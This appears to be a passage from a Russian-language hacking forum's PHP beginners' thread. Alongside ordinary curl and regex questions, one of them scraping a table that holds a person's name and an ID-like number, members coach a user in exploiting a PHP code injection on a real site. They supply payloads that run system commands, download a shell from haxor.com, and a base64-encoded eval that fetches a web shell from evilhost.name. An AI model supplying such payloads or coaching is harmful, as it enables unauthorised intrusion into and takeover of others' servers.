[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    Точно, но куки все равно не записываются, хотя выдаются.
     
  2. N@b$ter

    N@b$ter Elder - Старейшина

    Joined:
    6 Oct 2009
    Messages:
    293
    Likes Received:
    73
    Reputations:
    21
    2 вариант однозначно
    покажи весь код
     
  3. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    PHP:
    <?php
    $referer 
    'referer';
    $cookie='cookies.txt';
    $data 'login=login&p=pass';
    set_time_limit(0);
    $session curl_init();
    curl_setopt($sessionCURLOPT_USERAGENT"Mozilla/5.0 (Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10)");
    curl_setopt($sessionCURLOPT_REFERER$referer);
    curl_setopt($sessionCURLOPT_HEADER1);
    curl_setopt($sessionCURLOPT_COOKIEJAR$cookie);
    curl_setopt($sessionCURLOPT_POST1);
    curl_setopt($sessionCURLOPT_URL"domain.com");
    curl_setopt($sessionCURLOPT_POSTFIELDS$data);
    curl_exec($session);
    curl_close($session);
    ?>
    Также почему то не меняется referer и user-agent.
     
    #19363 0o Chris o0, 17 Oct 2011
    Last edited: 17 Oct 2011
  4. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    0o Chris o0, кавычку-то потеряли в строке с CURLOPT_USERAGENT
     
  5. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Есть php code injection вида
    http://site.com/script.php?${system(id)}

    выдаёт мне команду id
    скачать шелл не выходит http://site.com/script.php?${system(wget http://haxor.com/shell.txt)}
    ls работает, а ls -la выдаёт:
    подскажите каким макаром шелл получить можно
     
    #19365 SergioBlog, 17 Oct 2011
    Last edited: 17 Oct 2011
  6. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    Случайно удалил, в коде кавычка есть :) а user-agent все равно не меняется.
     
  7. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Теперь вы потеряли скобку
     
  8. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    Странно, на компе все есть...
     
  9. N@b$ter

    N@b$ter Elder - Старейшина

    Joined:
    6 Oct 2009
    Messages:
    293
    Likes Received:
    73
    Reputations:
    21
    Тебе в раздел уязвимости
    кинь сайт в личку
     
  10. N@b$ter

    N@b$ter Elder - Старейшина

    Joined:
    6 Oct 2009
    Messages:
    293
    Likes Received:
    73
    Reputations:
    21
    Тебе сюда http://forum.antichat.ru/forum57.html

    Помогите составить регулярку для выдерки Фамилии имени и отчества с сайта получаю страницу из curl.
    Исходник страницы
    PHP:
    <tr>
    <
    td class="complKnowlege" style="vertical-align:middle;">1</td>    
    <
    td class="complKnowlege" style="vertical-align:middle;">Иванова Ольга Викторовна</td>
    <
    td style="vertical-align:middle;">ФЛ</td>
    <
    td style="vertical-align:middle;">Да</td>
    <
    td style="vertical-align:middle;">301910113892</td>
    <
    td style="vertical-align:middle;">    
    </
    td>
    <
    td style="vertical-align:middle;">28.03.2000</td><td style="vertical-align:middle;"></td>
    <
    td class="complKnowlege" style="vertical-align:middle;"></td>
    <
    td class="complKnowlege" style="vertical-align:middle;"></td>
    моя регулярка
    PHP:
    $res curl_exec($curl);
    preg_match_all("/(?=<td class=\"complKnowlege\" style=\"vertical-align\:middle;\">)([А-Яа-я]*)\s([А-Яа-я]*)\s([А-Яа-я]*)\s(?=<\/td>)/"$res$q);  
    print_r($q);
     
  11. FollowMe

    FollowMe Banned

    Joined:
    26 Sep 2011
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    PHP:
    $res curl_exec($curl);
    preg_match_all("|<td class=\"complKnowlege\" style=\"vertical-align\:middle\;\">(.*)<\/td>|"$res$q);  
    print_r($q);
     
  12. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Я уже писал в раздел уязвимости - удалили топик, писал в топик вопросы по уязвимостям - удалили пост. Здесь тоже не отвечают, куда писать вообще?
     
  13. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    SergioBlog Попробуйте http://site.com/script.php?${$_GET[aaa]}&aaa=system('wget http://haxor.com/shell.txt')
    http://site.com/script.php?${stripslashes($_GET[aaa])}&aaa=system('wget http://haxor.com/shell.txt')

    N@b$ter для вопросов по регулярным выражениям есть специальный топик
     
    _________________________
  14. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Gifts
    script.php?${$_GET[aaa]}&aaa=system('wget http://haxor.com/shell.txt')
    второй вариант тоже самое(
     
  15. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Телепатов тут нету, в конституции не написано, что wget должен быть установлен на каждом серваке.
    По-поводу (ls -la), попробуй заменить пробел плюсом в url.
     
  16. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Пробовал плюс вместо пробела - cannot execute blank command тоже пишет.
    Да и проблема там не в том что wget нету, просто походу фильтруются символы какие-то.
     
  17. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    с base64 попробуй
     
  18. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Не могу смастерить правильно урл походу. там нужно без ; тк они автоматом как-то ставятся. Помогите смастерить с base64
     
  19. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    PHP:
    eval(base64_decode(ZndyaXRlKGZvcGVuKCdldmlsY29kZS5waHAnLCAndycpLCBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2V2aWxob3N0Lm5hbWUvd3NvMicpKTsg))
     
  20. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    site.com/script.php?${eval(base64_decode(тут base64))}
     
Thread Status:
Not open for further replies.